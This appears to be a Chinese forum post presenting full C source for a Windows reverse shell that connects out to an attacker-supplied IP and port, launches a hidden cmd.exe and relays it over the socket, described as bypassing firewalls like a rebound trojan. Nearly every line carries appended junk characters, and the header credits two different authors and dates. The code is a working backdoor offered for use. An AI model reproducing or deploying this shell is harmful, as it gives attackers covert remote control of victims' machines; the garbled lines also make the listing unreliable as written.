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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r"rID RQ"  
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/* ============================== "mT~_BsD  
Rebound port in Windows NT bU:"dqRm<  
By wind,2006/7 m(Bv}9  
===============================*/ })bTQj7  
#include 0  x"3  
#include fwxyZBr  
P/Sv^d5=e  
#pragma comment(lib,"wsock32.lib") i' |S g  
9}2I'7]  
void OutputShell(); .6OE8w 1  
SOCKET sClient; o~^hsm[44J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D@4hQC\  
A"z')   
void main(int argc,char **argv) T?7 ZF+yo6  
{ OjeM#s#N!  
WSADATA stWsaData; JYKA@sZHe  
int nRet; [>?B`1;@  
SOCKADDR_IN stSaiClient,stSaiServer; 'n.eCd j  
8 s:sMU:Q  
if(argc != 3) Gz~P 0Z^w}  
{ +\.gdL)  
printf("Useage:\n\rRebound DestIP DestPort\n"); rMf& HX  
return; 4U>  
} `t ZvIy*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); bUz7!M$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O2Rv^la  
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stSaiClient.sin_family = AF_INET;  O,xU+j~)  
stSaiClient.sin_port = htons(0); Q} f=Ye(&}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kfA%%A  
 i)8,u  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ga~rllm;i  
{ 0V`0="rQ  
printf("Bind Socket Failed!\n"); 't^OIil  
return; Ge[N5N>  
} S4`uNB#Ht  
|{Z?a^- NJ  
stSaiServer.sin_family = AF_INET; PGu6hV{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =}U`q3k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Alp9] 0(  
K}! VY`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \nPa>2r  
{ OYNs1yB  
printf("Connect Error!"); ~XQN4Tv-  
return; eSywWSdf0  
} =1yU& PJ  
OutputShell(); +&-/$\"  
} A^ t[PKM"  
H`aqpa"C  
void OutputShell() nY}Ep\g  
{ @y)-!MHN(8  
char szBuff[1024]; z+NXD4  
SECURITY_ATTRIBUTES stSecurityAttributes; VwHTtZ  
OSVERSIONINFO stOsversionInfo; #$X_,P|D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |ay W _5}  
STARTUPINFO stStartupInfo; HRje4=:  
char *szShell; e [3sWv  
PROCESS_INFORMATION stProcessInformation; +:wOzTUN  
unsigned long lBytesRead; :%)l* [  
f(7 /  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !}Cd_tj6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~0t] `<y=  
stSecurityAttributes.lpSecurityDescriptor = 0; tX&Dum$  
stSecurityAttributes.bInheritHandle = TRUE; GZ UDI#  
+;pdG[N  
x(5>f9bb  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UFm E`|le  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~%k<N/B  
VGA?B@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 70a7}C\/o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "+r8izB  
stStartupInfo.wShowWindow = SW_HIDE; 7oh6G  
stStartupInfo.hStdInput = hReadPipe;  ]6W#P7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b 9F=}.4  
.z7F58  
GetVersionEx(&stOsversionInfo); >j_,3{eJ  
TR5"K{WDx  
switch(stOsversionInfo.dwPlatformId) 4=>/x90y  
{ GmPNzHDb  
case 1: +KrV!Taf  
szShell = "command.com"; oAA%pZ@  
break; dBX%/  
default: I(bH.{1n7  
szShell = "cmd.exe"; b qEwi[`  
break; rH$0h2  
} e ,k,L  
}*hY#jo1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @T|mHfQ8  
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send(sClient,szMsg,77,0); y 7|x<Z  
while(1) h$G&4_O  
{ 9L]x9lI;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N3TkRJZ  
if(lBytesRead) c*9RzD#Zj  
{ x'+lNlv  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3 =KfNz_  
send(sClient,szBuff,lBytesRead,0); q[ ] "`?  
} pZuYmMP  
else %f#3;tpC8  
{ a7)q^;:O  
lBytesRead=recv(sClient,szBuff,1024,0); kNMhMEez  
if(lBytesRead<=0) break; |Xlc2?e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @w[WG:-+  
} _hMMm6a|  
} KaZ*HPe(  
O+@"l$;N  
return; {Fta4D_1N  
}
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